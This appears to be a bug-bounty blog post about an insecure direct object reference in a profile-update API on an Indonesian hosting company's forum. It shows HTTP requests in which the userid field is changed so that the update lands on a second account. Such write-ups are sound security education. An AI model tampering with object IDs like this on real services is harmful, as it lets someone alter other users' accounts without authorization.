Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.

I want to share a story about how I made one thousand bucks from a very simple IDOR vulnerability.

I was on a forum by one of the biggest domain name registrars and web hosting in Indonesia. Then for some reason, I update my profile information. But, when I update my profile I open Chrome Devtools and analyze the HTTP request.

Request:

POST /api/v1/update/profile HTTP/2
Host: *****
[...]

{
	"data" :{
		"userid" : 3111,
		"name" : "JJ",
		"email" : "[email protected]",
		
		[...]
		
	}
}

Response:

{
	"status" : "success",
	"data" :{
		"userid" : 3111,
		"name" : "JJ",
		"email" : "[email protected]",
		
		[...]
		
	}
}

You can clearly see that the userid is also sent in the HTTP request. So, I registered a new account and tried to add the userid in the HTTP Request.

Request:

POST /api/v1/update/profile HTTP/2
Host: *****
[...]

{
	"data" :{
		"userid" : 3112,
		"name" : "JJ",
		"email" : "[email protected]",
		
		[...]
		
	}
}

Response:

{
	"status" : "success",
	"data" :{
		"userid" : 3112,
		"name" : "JJ",
		"email" : "[email protected]",
		
		[...]
		
	}
}

Gotcha! My second account which has 3112 UID was successfully updated.

Reference:
https://portswigger.net/web-security/access-control/idor